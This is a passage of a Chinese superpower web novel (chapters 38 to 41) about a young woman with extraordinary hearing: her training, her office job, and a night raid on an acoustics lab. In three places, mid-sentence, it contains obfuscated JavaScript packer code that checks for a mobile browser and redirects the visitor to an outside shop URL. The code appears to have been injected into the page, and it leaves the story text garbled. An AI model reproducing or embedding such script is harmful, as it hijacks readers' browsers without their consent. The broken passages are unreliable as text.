窗外的阳光透过高处的气窗照进来,在灰尘中形成一道光柱。 光柱里,尘埃缓缓飘浮,像无数细小的星辰。 杨晓晓看着那道阳光,笑了。 然后低头,继续工作。 38. 训练新项目:声音回溯 周五的训练室,杨晓晓第一次体验到了什么叫“脑子被掏空”。 她瘫在椅子上,脸色发白,额头上全是冷汗,手还在微微发抖。面前的桌上放着一杯热巧克力,是陈树刚冲的,但她现在连端起来的力气都没有。 “感觉怎么样?”陈树坐在对面,表情平静得像在看天气预报。 “像……跑了十公里马拉松,然后还考了一场高数。”杨晓晓有气无力地说,“不,比那还糟。像是有人把我脑子拿出来,拧干了,又塞回去。” 陈树点点头:“正常。声音回溯是高级技巧,消耗的是精神能量,不是体力。你第一次尝试,能有模糊的感应已经很不错了。” 两个小时前,陈树开始教她这个新项目。 “理论上,声音在空间中传播后,会在某些材质表面留下极微弱的‘印记’或‘回响’,就像光线在胶片上留下影像。”陈树在训练室的白板上画着示意图,“但这种印记非常微弱,衰减得很快,通常几小时后就完全消散了。而且需要极其敏锐的感知能力才能捕捉到。” 他看向杨晓晓:“你的听力已经达到这个门槛,可以试试。但记住,这很难,非常难。大多数听力能力者终其一生也掌握不了。所以不要有压力,就当是拓展训练。” 训练方法很简单——或者说,简单得让人绝望。 陈树让杨晓晓坐在训练室中央,然后自己走出去,关上门。一小时后,他回来,问:“听到我刚才在门外做了什么吗?” 杨晓晓当时一脸懵:“您……不是一直没进来吗?” “我是没进来,但我一直在门外活动。”陈树说,“说话,走动,敲墙,甚至打了个哈欠。你的任务是,不去听现在的声音,而是去‘听’过去一小时里,这个房间内外的声音残留。” 杨晓晓觉得这简直是无理取闹。声音过去了就是过去了,怎么能“听”回来? 但她还是尝试了。 闭上眼睛,深呼吸,将听觉调整到最敏锐的状态。不听现在——不听空调的嗡鸣,不听自己的呼吸,不听远处走廊的脚步声。 而是去“寻找”那些已经消失的声音。 像在黑暗的海洋里打捞沉船,像在空旷的山谷里呼喊后等待回声。 十分钟,二十分钟,三十分钟…… 杨晓晓的额头开始冒汗。她感觉到了一种奇怪的“阻力”,像是听力被一层厚厚的棉絮包裹,怎么也使不上劲。又像是在水下听岸上的声音,一切都模糊、扭曲、遥远。 但就在她快要放弃的时候,她捕捉到了——一点什么。 不是清晰的声音,不是具体的语句,而是一种……“感觉”。像是声波经过后留下的微小颤动,像是空气被扰动后的余韵。 “我好像……”她不确定地说,“感觉到了一点……回声?但很模糊,像隔着水听……” 陈树眼睛一亮:“什么方向?什么性质?” “在……门那边。”杨晓晓努力分辨,“不是说话声,是……敲击?轻轻的,有节奏的……嗒,嗒,嗒……大概……三下?” 陈树笑了:“正确。一小时前,我在门外用指节敲了三下门,间隔一秒。” 杨晓晓睁开眼睛,又惊讶又茫然:“我真的……听到了?” “不是听到,是感应到了声音残留的震动痕迹。”陈树纠正,“这就像你看一张照片,不是真的看到了过去,而是看到了光在过去的某个瞬间留下的影像。声音也一样,在某些条件下,会留下极微弱的‘声影’。” 他让杨晓晓休息五分钟,然后继续。 第二次尝试,时间缩短到半小时前。这次杨晓晓捕捉到了更清晰一点的痕迹——不是具体内容,但她能“感觉”到门外有人走动,从左边到右边,然后停住。 “走动了大概……五步?”她试探着说。 “六步。”陈树说,“但方向正确,步数接近。有进步。” 第三次,十五分钟前。这次杨晓晓“听”到了说话声的残留——不是字词,而是一种语调的起伏,像水面的波纹。 “有人在门外……说话?”她皱紧眉头,“声音不高,语速中等……好像在……叹气?” 陈树点头:“我十五分钟前在门外打了个电话,说到一半确实叹了口气。你连这个都能感应到,天赋确实很好。” 然后是第四次,第五次,第六次…… 每次尝试后,杨晓晓都觉得更累一分。不是身体累,而是一种从大脑深处蔓延出来的疲惫,像是连续熬夜三天后那种头重脚轻的感觉。 到第八次尝试时,她已经脸色发白,手也开始抖了。 陈树果断叫停:“今天就到这。你的精神消耗已经到临界点了,再练下去会损伤。” 他冲了热巧克力递给她:“喝掉,补充能量。然后去食堂吃饭,多吃点高蛋白的。声音回溯消耗的主要是精神能量,而精神能量的恢复需要充足的营养和休息。” 杨晓晓勉强端起杯子,手抖得差点洒出来。她小口小口喝着,甜腻的热流顺着喉咙下去,稍微缓解了一点那种空虚感。 “陈队……”她声音虚弱,“这能力……有用吗?” “很有用。”陈树认真地说,“想象一下,一个犯罪现场,嫌疑人已经离开几个小时,但你能‘听’到他离开前说的话。或者一个重要的会谈结束后,你能‘回溯’听到那些被遗漏的细节。在情报和侦察领域,这是近乎bug的能力。” 他顿了顿:“但同样的,消耗巨大,限制也多。目前记录里,最强的声音回溯能力者,也只能回溯二十四小时内的声音,而且必须是在声学条件特别好的封闭空间里。你能回溯一小时,第一次尝试就有模糊感应,已经是非常优秀的起点了。” 杨晓晓稍微有了点信心。但那种疲惫感实在太强烈了,她现在只想躺下睡觉。 “回去休息吧。”陈树说,“今天下午和明天都不用训练了,好好恢复。记住这种感觉——这是你的身体在告诉你,到极限了。以后训练中要学会识别这个信号,及时停止,避免透支。” 杨晓晓点点头,扶着桌子站起来。腿有点软,但还能走。 陈树送她到训练室门口:“需要我送你回宿舍吗?” “不用,我自己可以。”杨晓晓勉强笑了笑,“就是……特别饿。我等下要去食堂吃双份的饭。” “吃三份都行,记我账上。”陈树难得大方,“去吧。” 杨晓晓慢慢地走回宿舍。一路上,她感觉自己的听力都变得迟钝了,像是耳朵里塞了棉花,所有的声音都隔着一层。这反而让她觉得轻松——终于不用时刻处理那么多声音信息了。 到食堂时正好是午饭时间。她打了满满一盘菜:红烧肉,宫保鸡丁,番茄炒蛋,还有一大碗米饭。找了个角落坐下,埋头猛吃。 吃到一半,雷昊端着盘子凑过来:“晓晓!听说你今儿练新项目了?怎么样怎么样?” 杨晓晓嘴里塞满饭,含糊地说:“累……饿……” “声音回 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“饱了?”雷昊问。 “饱了。”杨晓晓点头,“就是……困。” “那就回去睡觉。”熊毅说,“下午别训练了。” “陈队说了,下午和明天都休息。”杨晓晓站起来,“那我先回去了,谢谢大家的鸡腿。” 她慢慢走回宿舍,一进门就直接扑到床上。连衣服都没换,就这么躺着,几乎瞬间就睡着了。 这一觉睡得很沉,很香。没有梦,没有声音的干扰,只有深沉、黑暗、恢复性的睡眠。 醒来时已经是晚上七点。杨晓晓睁开眼睛,看着天花板,感觉整个人都焕然一新。那种掏空般的疲惫感消失了,取而代之的是充沛的精力和……又饿了。 她爬起来,洗漱,换衣服,准备再去食堂觅食。 走到窗边时,她下意识地停下,闭上眼睛,尝试“听”了一下。 不是去听现在的声音,而是……尝试感应几个小时前,这个房间里的声音残留。 很模糊,几乎感觉不到。但她确实捕捉到了一点什么——像是自己睡觉时平稳的呼吸声,留下的极微弱的余韵。 成功了。 虽然还很微弱,虽然还很模糊,但她确实能做到。 杨晓晓睁开眼睛,笑了。 然后肚子咕咕叫起来。 她摸摸肚子,心情愉快地出门,准备去食堂大吃一顿。 走到楼下时,正好遇到陈树。他似乎在散步,看到杨晓晓,停下脚步:“醒了?感觉怎么样?” “好了,就是又饿了。”杨晓晓老实说。 陈树笑了:“正常。声音回溯就是这样,初期消耗巨大。等你熟练掌握后,消耗会小一些,但每次使用还是会饿。所以局里给掌握这个能力的人都配了高能量食物包,你下次训练前记得领。” 他顿了顿:“今天表现很好。继续努力,但别太拼。能力训练是马拉松,不是百米冲刺。” “我明白,陈队。”杨晓晓点头。 “去吧,吃饭。”陈树挥挥手,“多吃点。” 杨晓晓走向食堂,脚步轻快。 虽然累,虽然难,但她喜欢这种感觉——挑战,突破,成长。 而且,练完了可以理直气壮地大吃特吃,还有人给加鸡腿。 这工作,挺好的。 她想。 39. 行政工作的意外收获 周一早晨七点半,杨晓晓刷卡走进深蓝科技大楼。 行政部在七楼,朝东的办公室,每天早晨会有半个小时的好阳光。杨晓晓坐到自己的工位上,开机,打开办公系统,动作熟练得像做过千百遍——事实上也确实如此。 这里是她的“正常世界”。浅灰色的办公隔断,窗台上的绿萝,抽屉里备着的零食,以及空气中那股永远存在的打印纸和墨粉混合的味道。 她打开抽屉,拿出那本秦望舒老人送的《听之道》,压在笔记本下面。然后又拿出特制的降噪耳塞,戴上左耳——只需要单边,既能过滤掉大部分环境噪音,又不影响她听同事说话。 完美。 “晓晓,来得真早。”王姐端着咖啡杯从茶水间出来,“帮我看看周三上午十点,大会议室有没有空?市场部说要开个紧急会议。” 杨晓晓都不用查系统。她昨天“听”到市场部总监跟助理打电话时说,周三上午约了重要客户,但客户改期了。 “周三上午十点到十二点,市场部本来预定了,但刚取消。”她说,“您可以直接用。” 王姐惊讶:“我刚听说市场部要开会,怎么又取消了?你怎么知道得比我还快?” 杨晓晓心里一紧,面上淡定:“早上在电梯里听到市场部的人在说,客户改期了。” “哦哦,那正好。”王姐放下咖啡杯,凑近些压低声音,“对了,周总监今天好像心情不太好,你送文件的时候注意点。” 杨晓晓点头。其实她已经“听”到了——十分钟前,周子扬在办公室里接了个电话,好像是家里的事,语气挺烦躁。 这就是她现在的工作日常:表面上是普通的行政专员,实际上是个“人形信息接收器”。在不违反伦理守则的前提下,用能力让工作更高效。 起初她还有点犹豫,觉得这是不是作弊。但陈树说得很明白:“在非任务场合,用能力帮助团队提高效率,这不算违规。只要你不利用信息谋私利,不侵犯他人隐私就行。” 所以杨晓晓慢慢放开了,开始“合法”使用她的超能力。 八点半,办公室逐渐热闹起来。杨晓晓处理着邮件,耳朵却习惯性地“扫描”着整个楼层——这是训练养成的习惯,随时掌握环境状态。 东边角落里,打印机又卡纸了,发出熟悉的“咔哒”声。 西边会议室,两个部门在争下周的使用时间,声音渐高。 楼下六楼,装修的电钻声准时响起——最近在改造茶水间。 还有……杨晓晓侧耳。中央空调的通风管道里,有个异常的振动声,像是什么松了。 她站起来,走到王姐身边:“王姐,空调是不是有点问题?我听着声音不太对。” 王姐抬头听了听:“有吗?我没听出来啊。” “可能是管道里有螺丝松了,”杨晓晓说,“现在不修,等真坏了会影响大家办公。要不要叫物业来看看?” 王姐将信将疑,但还是打了电话。半小时后,物业维修工来了,果然在管道里找到一个松动的螺丝,已经快要掉下来了。 “这你都能听出来?”维修工惊讶,“这声音小得我都差点没听见!” 王姐看杨晓晓的眼神多了几分佩服:“晓晓,你耳朵真灵!” 杨晓晓谦虚地笑:“我就是对声音比较敏感。” 这只是开始。整个上午,杨晓晓陆续“预判”了好几个问题: 九点,她提醒王姐三号会议室的投影仪灯泡该换了——因为她“听”到设备部的人在仓库抱怨没库存了。 十点,她告诉隔壁工位的小张,他忘在二楼休息室的钥匙扣被保洁阿姨收走了——她听到了阿姨的对话。 十一点,她甚至“听”到财务部有人在楼梯间哭,悄悄告诉了财务部的负责人李姐。 到中午吃饭时,杨晓晓已经成了行政部公认的“直觉女王”。 “晓晓,你是不是会算命啊?”午饭时,小张端着餐盘坐到她对面,“怎么什么都提前知道?” 杨晓晓咬着筷子:“我就是……观察仔细,耳朵灵。” “太灵了!”小张感慨,“有你在这儿,咱们部门顺多了。各种小麻烦都能提前解决。” 杨晓晓笑笑,没说话。她能怎么说?说我其实是用超能力听到的? 下午两点,杨晓晓去给周子扬送文件。走到总监办公室门口,她习惯性地放轻脚步——不是刻意偷听,是训练养成的本能。 办公室里,周子扬正在打电话,声音压得很低,但杨晓晓还是捕捉到了几个词:“……数据泄露……调查……内部问题……” 她心里一动,但马上收敛心神,轻轻敲门。 电话声停了。几秒后,周子扬的声音传来:“进。” 杨晓晓推门进去,把文件放在桌上:“周总监,这是您要的季度行政汇总。” “谢谢。”周子扬接过,脸色确实不太好,“放这儿吧。” 杨晓晓正要离开,周子扬忽然叫住她:“晓晓,你最近工作表现不错。王姐跟我夸了你好几次。” “应该的。”杨晓晓站定。 周子扬看着她,眼神里有些探究:“我听说……你好像总能提前知道很多事情?” 杨晓晓心里咯噔一下,但面上保持平静:“我就是比较注意观察细节。行政工作嘛,就是要细心。” 周子扬点点头,没再追问:“好好干。出去吧。” 走出办公室,杨晓晓松了口气。她提醒自己:要更小心。普通人虽然不会想到超能力,但太过异常还是会引人注意。 回到工位,她打开《听之道》,翻到秦老手写的那段话: 非礼勿听,非礼勿视。非为不能,实为不当。 是啊,不是不能听,是不该听。这个分寸,她要时刻把握。 三点钟,技术部的小李急匆匆跑过来:“晓晓!看见我们部门的移动硬盘了吗?黑色的,1T,里面存了重要数据!” “没看见。”杨晓晓摇头,“最后一次用是什么时候?” “昨天下午,在一号会议室做演示。”小李急得满头汗,“演示完我就收拾东西走了,刚才发现硬盘不见了!里面是重要备份,丢了我就完了!” 杨晓晓想了想:“别急,我帮你想想。” 她闭上眼睛,尝试“回溯”昨天下午一号会议室的声音——这很难,会议室不是封闭空间,而且已经过去了一天。但她想试试。 集中注意力,排除干扰,把听觉“聚焦”到会议室的方向,尝试往前延伸…… 模糊。非常模糊。像隔着一层厚厚的玻璃。 “……这个数据有问题……” “等下,我换硬盘……” “快一点,客户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191479|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马上到了……” 还有一个声音——很轻的“咚”声,像什么东西滚到了桌子底下。 杨晓晓睁开眼睛:“一号会议室,中间那张会议桌,左下角的桌腿后面,你看看。” 小李一愣:“桌腿后面?” “去看看吧,说不定滚到那儿了。”杨晓晓说。 小李半信半疑地跑了。十五分钟后,他满脸兴奋地冲回来:“找到了!真在桌腿后面!被踢到墙角去了!晓晓你怎么知道的?!” “猜的。”杨晓晓微笑,“那种会议桌下面很容易滚进东西。” “神了!”小李激动,“今晚我请你吃饭!” “不用不用,举手之劳。”杨晓晓摆手。 但消息已经传开了。到下班时,整个楼层都知道行政部的杨晓晓“直觉准得可怕”,连硬盘滚到哪儿都能猜出来。 王姐感慨地拍拍她的肩:“晓晓,你来了之后,咱们部门真是顺风顺水。各种小问题都能提前发现,各种小东西丢了都能找到。你是不是有什么特异功能啊?” 杨晓晓干笑:“我……就是比较细心。” 她能怎么说? 下班时,杨晓晓收拾好东西准备去基地训练。手机震动,是陈树发来的消息:“今晚七点,基地训练室,加练声音溯源。” 她回复:“收到。” 然后背起包,走出办公楼。夕阳正好,把整条街染成金色。 地铁上,杨晓晓戴着耳机,听着轻柔的音乐。脑子里却不由自主地复盘今天的工作——用能力帮同事解决问题,感觉不错。但周子扬的那个眼神,让她有点在意。 “要更小心。”她对自己说,“在普通职场,只能展现‘合理的敏锐’,不能展现‘超常的预知’。” 这是秦老说的分寸,也是陈树强调的规则。 手机又震了,是“深蓝幼儿园”群里的消息。 雷昊:@所有人今晚加练到几点?练完要不要吃夜宵? 熊毅:九点结束。可以。 林墨:我……我可以带点自己烤的饼干。 雷昊:墨墨你还会烤饼干?! 杨晓晓:我带水果。 雷昊:完美! 杨晓晓看着手机,笑了。 白天在深蓝科技当行政专员,用“合理的敏锐”帮助同事。 晚上在特保局当行动队员,用真正的能力训练、出任务。 周末和队友聚餐,吃熊毅做的甜点,喝林墨泡的茶,听雷昊讲段子。 这样的生活,虽然有点分裂,有点累。 但很充实,很有意思。 而且她能感觉到,自己正在一点点进步——不只是能力上的进步,更是对这份双重生活的掌控力。 地铁到站了。杨晓晓随着人流走出车厢,脚步轻快。 手机震动,是母亲发来的消息:“晓晓,周末回家吗?你爸说要做你爱吃的红烧鱼。” 她打字回复:“回。周六晚上回去。” 发送。 然后收起手机,走向基地的方向。 夕阳把她的影子拉得很长,像在为她铺一条金色的路。 路的这一头,是普通人的日常。 路的那一头,是特殊使命的责任。 而她,正稳稳地走在中间。 一步一步,走向更好的自己。 40. 新任务·消失的声波 周一早晨九点,杨晓晓站在特保局地下三层的小会议室里,手心微微出汗。 会议室的白板上贴着几张照片和地图,陈树站在前面,手里拿着激光笔。而杨晓晓身边,站着她的队员——雷昊打着哈欠,显然还没睡醒;林墨缩在角落,手里捏着个纸团;熊毅站在杨晓晓侧后方,像一尊沉默的守护神。 “都到齐了。”陈树敲了敲白板,“今天有个新任务,交给杨晓晓独立带队。” 杨晓晓的心跳漏了一拍。 “我?”她指着自己,声音有点飘。 “对,你。”陈树看着她,“上周的考核评分出来了,你的指挥潜力被评为B+。光有潜力不够,得有实践。所以这个任务,你负责指挥,雷昊技术支持,熊毅现场保护,林墨辅助渗透。” 雷昊立刻精神了:“哇!晓晓当队长!那陈头你呢?” “我在监控室看着。”陈树淡定地说,“除非你们快把任务搞砸了,否则我不会介入。这是杨晓晓的考核,也是你们小队的第一次独立行动。” 杨晓晓深吸一口气,强迫自己镇定下来:“什、什么任务?” 陈树打开投影,屏幕上显示出一张建筑平面图:“‘声波真空区’事件。三天前,我们的常规监测系统发现,城东‘先锋声学研究所’内部,特定频率的声波信号出现异常衰减——简单说,声音在那里消失了。” 画面切换,显示出一段频谱图。正常区域的声波曲线有规律的起伏,而研究所区域的曲线几乎是平的,像被人用橡皮擦擦掉了一截。 “消失的频率范围在3000-5000赫兹,正好是人耳最敏感的区域。”陈树用激光笔指着那个缺口,“更奇怪的是,这种现象只发生在晚上十点到凌晨四点之间,白天完全正常。” 杨晓晓盯着那个缺口,心里涌起一种奇怪的不安。对她来说,声音是构成世界的基础元素,是她感知环境的工具。一片“声音消失”的区域,就像视觉里的盲点,触觉里的麻木区——那该多诡异? “任务目标,”陈树看向杨晓晓,“今晚潜入研究所,查明原因。如果发现违法违规行为,收集证据。如果只是科研意外,记录数据后撤回。明白?” 杨晓晓用力点头:“明白。” “很好。”陈树把文件夹递给她,“行动计划你来制定,人员安排你负责,行动时间你决定。今晚八点前,把方案报给我审批。现在,带你的小队去做准备。” 陈树说完就走了,留下四个人在会议室里面面相觑。 几秒钟的沉默后,雷昊第一个开口:“所以……我们现在该干嘛?” 杨晓晓看着手里的文件夹,又看看三个队友。雷昊歪着头等她指示,林墨用期待又紧张的眼神看着她,熊毅则只是平静地站着,仿佛在说“你下令,我执行”。 “先、先开会。”杨晓晓拉开椅子坐下,努力让声音听起来镇定,“雷昊,你把研究所的平面图调出来,还有周边环境图。林墨,你查一下这个研究所的公开资料,负责人、研究项目、有没有不良记录。熊毅……熊毅你帮我倒杯水吧,我有点紧张。” 熊毅点头,转身去倒水。雷昊已经打开笔记本电脑,手指在键盘上翻飞。林墨掏出手机开始搜索。 十分钟后,资料齐了。 “先锋声学研究所,成立于五年前,主要研究方向是‘特殊环境下的声学应用’。”林墨小声念着资料,“负责人是□□教授,六十岁,声学领域权威,发表过一百多篇论文……表面看起来挺正常的。” “表面正常才可疑。”雷昊指着屏幕,“看这个建筑结构图,地下室有三层,但公开资料只显示两层。第三层的设计图纸是加密的,我费了点劲才破解——里面有个超大型的无回音室,还有一套复杂的声波发射阵列。” 杨晓晓凑过去看。图纸显示,地下三层有一个篮球场大小的空间,标注着“特殊实验区”,周围布满了各种设备标识。 “声波发射阵列……”杨晓晓皱眉,“是用来做什么的?” “不知道。”雷昊摇头,“但配合那个‘声波真空’现象,我猜他们可能在实验某种主动消音技术——不是被动隔音,而是主动发射反向声波,把特定频率的声音抵消掉。” 熊毅把水放在杨晓晓面前:“如果只是科研,为什么要加密?” “问得好。”杨晓晓喝了口水,感觉稍微平静了些,“而且只在晚上实验,明显是想避开关注。雷昊,能查到他们最近的研究成果吗?” 雷昊敲了几下键盘:“论文库里没有相关发表。但我在他们的内部服务器里找到了……哦豁。” “什么?” “一份采购清单。”雷昊把屏幕转过来,“三个月前,他们从海外采购了一批高精度压电陶瓷片——那是制作大功率声波发射器的核心材料。还有,两周前,他们申请了特殊电力配额,理由是‘大型设备长时间运行测试’。” 杨晓晓心里的不安越来越重。普通的声学研究需要这么大阵仗吗? “还有更奇怪的。”雷昊切换页面,“昨天下午四点,研究所的系统里,所有关于‘消音项目’的实验数据被批量删除了。删除操作很专业,用了军用级的数据擦除工具,如果不是我提前做了镜像备份,根本恢复不了。” “删除了?”杨晓晓站起来,“为什么?” “不知道。”雷昊耸肩,“但删除前的最后一条操作日志显示,操作者在服务器上留了一句话……” 他放大那行字: 这东西不能留…… 杨晓晓盯着那行字,后背发凉。 “今晚必须去。”她下定决心,“如果他们在做危险的事,我们必须阻止。如果只是误会,也要查清楚。” 她看向三个队友:“雷昊,你的任务是提供技术支持——破解安保系统,保持通讯畅通,远程协助。熊毅,你负责现场保护,如果遇到危险,优先确保大家安全撤离。林墨,你的穿墙能力是关键,我们需要你进入那些常规进不去的区域。” “明白。”熊毅点头。 “好、好的。”林墨小声说。 “没问题!”雷昊摩拳擦掌,“那队长,我们什么时候行动?” 杨晓晓看了眼时间:上午十点半。 “今晚十一点。”她说,“那个时间段‘声波真空’现象会出现,正好也是他们可能进行实验的时间。我们现在制定详细计划,下午做演练,晚上行动。” 她拿起笔,在白板上开始画示意图。手有点抖,但她强迫自己稳住。 “入口在这里,根据图纸,这里有个通风管道可以直达地下二层。林墨,你能穿墙,但为了节省体力,我们尽量走常规通道。遇到无法通过的门,你再出手。” 林墨点头,认真记笔记。 “雷昊,我需要你在行动开始前,黑入他们的监控系统。不是关闭,是替换——把我们经过的画面替换成空镜头,循环播放。” “小意思!”雷昊比了个OK的手势。 “熊毅……”杨晓晓看向这个大个子,“你跟着我,如果我用能力过度出现状况,你负责带我撤离。” 熊毅沉稳地点头:“我会的。” 计划会议开了两个小时。杨晓晓尽量考虑到了各种可能性——如果被发现怎么办,如果触发警报怎么办,如果遇到武装守卫怎么办。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“队长。”雷昊从副驾驶座回头,“你现在的心理活动是不是‘啊啊啊好紧张’?” 杨晓晓瞪他:“要你管。” “放轻松啦。”雷昊笑,“有大熊在,天塌下来他都能顶着。有我在,什么电子锁都是摆设。有林墨在,没有进不去的地方。你只要负责听,然后告诉我们该往哪走就行。” 熊毅点头:“他说的对。” 林墨小声补充:“我、我会努力的。” 杨晓晓看着这三个队友,心里的紧张突然化开了一些,变成了一种温暖的责任感。 是啊,她不是一个人。 十点五十分,车辆停在研究所两条街外。四人下车,换上深色便装,背着小巧的工具包。 杨晓晓站在阴影里,最后一次确认计划。 “通讯测试。” “技术组收到。”雷昊的声音从耳机里传来,他已经在一辆伪装成快递车的指挥车里就位。 “渗透组就位。”林墨小声说。 “保护组就位。”熊毅站在她身边。 杨晓晓深吸一口气,看向远处那栋三层的研究所大楼。 月光下,大楼安静地矗立着,窗户大部分是黑的,只有几个房间亮着灯。 但在杨晓晓的“听觉”中,那栋楼正散发着一股诡异的气息——不是声音,而是“声音的缺失”。就像一幅色彩斑斓的画上,突然出现了一块纯白的空白。 “行动开始。”她说,声音终于不再发抖。 四个人像影子一样,融入了夜色。 41. 实验室惊魂夜 研究所外围的安保比想象中松懈。 杨晓晓带着小队绕到建筑侧面,这里有一个监控死角——雷昊提前黑掉了这个区域的摄像头,让它们循环播放十分钟前的空画面。 “通风口在这里。”熊毅压低声音,指了指墙根处一个半米见方的金属栅栏。 林墨上前,手按在栅栏锁上。几秒钟后,锁芯内部传来轻微的“咔哒”声——不是开锁,是他的手指“穿”进了锁孔内部,从里面拨开了机关。 “好了。”林墨收回手,手背上有点发红。穿金属比穿墙更费力,会短暂灼伤皮肤。 熊毅无声地取下栅栏,露出黑漆漆的管道口。杨晓晓第一个钻进去——她最瘦小,而且需要用听力探路。 管道里弥漫着灰尘和铁锈的味道。杨晓晓打开头灯,调整到最低亮度,然后闭上眼睛,用耳朵“看”路。 前方五米处有岔路,左边通往中央空调机组,右边向下……她听到了微弱的气流声,是地下层。 “右边。”她小声说,匍匐前进。 管道很窄,只能爬行。熊毅殿后,他的块头最大,爬得很费劲,但一声不吭。林墨在中间,随时准备应对突发情况。 爬了大约二十米,杨晓晓停下来。 “下面就是地下二层。”她贴着管道壁听,“有三个人……不,四个。两个在走动,两个坐着。他们在说话……” 她集中注意力,过滤掉管道本身的共振声、远处机器的嗡鸣、还有自己的心跳声。 “……数据清理干净了吗?” “清理了,但备份服务器那边还需要时间。” “天亮前必须全部处理掉。王教授那边怎么说?” “他还在犹豫。但没时间了,那些人明天就到。” 杨晓晓心里一紧。这些人果然在掩盖什么。 她回头用手势示意:下面有人,等。 四个人在管道里静静等了十分钟。下面的人似乎离开了,脚步声远去。 “现在。”杨晓晓推开管道口的格栅,轻巧地跳下去。 地下二层是个开放式的实验室区域,摆放着各种声学设备:巨大的消音箱、精密的麦克风阵列、频谱分析仪。但杨晓晓注意到,一些设备上盖着防尘布,像是很久没用了。 而在实验室深处,有一扇厚重的金属门,门上没有窗户,只有一个电子锁面板。 “应该就是那里。”杨晓晓指着那扇门,“声波真空区的源头。” 雷昊的声音从耳机传来:“我扫描到门后有强烈的电磁屏蔽,无线信号进不去。你们得自己想办法开门。” 林墨上前检查门锁:“是生物识别加密码锁。我可以穿进去看看里面结构,但门太厚,我可能穿不过去。” “先别急。”杨晓晓说,“熊毅,你警戒。我试试能不能听到里面的声音。” 她走到门边,耳朵贴近金属门面。 寂静。 不是普通的安静,而是一种……空洞的寂静。就像站在悬崖边往下看,那种让人心悸的虚无感。 她的听力在这里失效了。不是听不到,而是听到的“声音”被某种力量抵消、吞噬了。就像往深井里扔石头,却听不到落水声。 杨晓晓感到一阵莫名的恐慌。这是她获得超常听力以来,第一次遇到“听不到”的情况。那种感觉,就像一个习惯了光明的人突然失明。 “怎么样?”熊毅问。 “听不到。”杨晓晓摇头,“里面像是个……声音黑洞。” 就在这时,林墨突然低声说:“墙……这面墙后面有空间。” 他指的是金属门旁边的水泥墙。杨晓晓仔细看,才发现这面墙的涂料颜色和周围略有不同,像是后来加砌的。 “能穿过去吗?”她问。 林墨伸手按在墙上,闭上眼睛。几秒钟后,他点头:“可以,但墙里有金属夹层,可能会有点烫。” “试试看。如果太危险就退回来。” 林墨深吸一口气,整个人向墙面“靠”去。他的身体开始融入墙体,像沉入水中。但这次的速度明显比平时慢——金属夹层在阻碍他。 杨晓晓紧张地看着。林墨的身体已经进去了一半,突然,他闷哼一声,动作停住了。 “林墨?”杨晓晓低声唤道。 “卡……卡住了……”林墨的声音从墙里传来,带着痛苦,“金属层……在发热……” 熊毅立刻上前,双手按在墙面上。杨晓晓看到他的手臂肌肉瞬间绷紧,皮肤泛起淡淡的金属光泽——这是他使用硬化能力的前兆。 “林墨,坚持住。”熊毅沉声说,然后用力一撕—— 水泥墙面被硬生生撕开一个口子,露出里面的金属夹层。夹层已经烧得发红,林墨卡在中间,脸色苍白。 熊毅抓住林墨的肩膀,把他拽了出来。林墨跌坐在地上,手臂和侧腰被灼伤,起了水泡。 “对不起……”林墨喘着气,“我没想到这么烫……” “别说话。”杨晓晓从包里拿出急救喷雾,这是特保局特制的烧伤处理剂。她帮林墨喷上,水泡以肉眼可见的速度消退。 “墙里有加热装置。”熊毅检查那个破口,“不是普通的金属层,是通电的防护网。有人不想让任何人进去。” 雷昊的声音从耳机传来:“我检测到你们的动作触发了隐藏警报!不是电子警报,是机械式的——有钢珠掉进了管道之类的声音触发器。安保系统正在启动!” 几乎同时,实验室的灯光变成了刺眼的红色,警报声大作。 但不是普通的警铃——是一种高频的脉冲声波,直接攻击听觉系统! 杨晓晓感觉耳朵像被针扎一样疼,她立刻捂住耳朵,但声音无孔不入。熊毅和林墨也露出痛苦的表情。 “声波武器……”杨晓晓咬牙,“雷昊,能关掉吗?” “我在试!但系统是独立的,不联网!”雷昊的声音断断续续,被干扰得很严重。 更糟的是,实验室的天花板上,数十道红色的激光线交织成网,开始缓缓下降。那是激光切割网格,一旦触碰到,后果不堪设想。 而地面也开始震动,几块地砖翻转,露出下面的空洞——是陷阱! “左前方三步,安全!”杨晓晓忍着头痛大喊,她的听力虽然受损,但还能勉强分辨出哪些区域没有陷阱机关。 熊毅抱起林墨,按照杨晓晓的指示跳跃前进。杨晓晓紧跟其后,每一步都踩在她“听”出的安全点上。 激光网越降越低,离他们的头顶只有一米多了。 “雷昊!”杨晓晓急喊。 “找到了!主控箱在你们右后方墙角,但需要物理关闭!”雷昊说。 杨晓晓回头,果然看到一个灰色的金属箱嵌在墙里。但通往那里的路已经被激光网封死,地面也有陷阱。 除非…… “林墨,你能穿过去吗?”她问。 林墨看着那些激光线,脸色更白了:“激光会烧穿我……” “不穿激光,穿地面!”杨晓晓指着主控箱下方的地板,“从地下过去!” “地下有混凝土……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191481|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“只有半米厚!你能做到!” 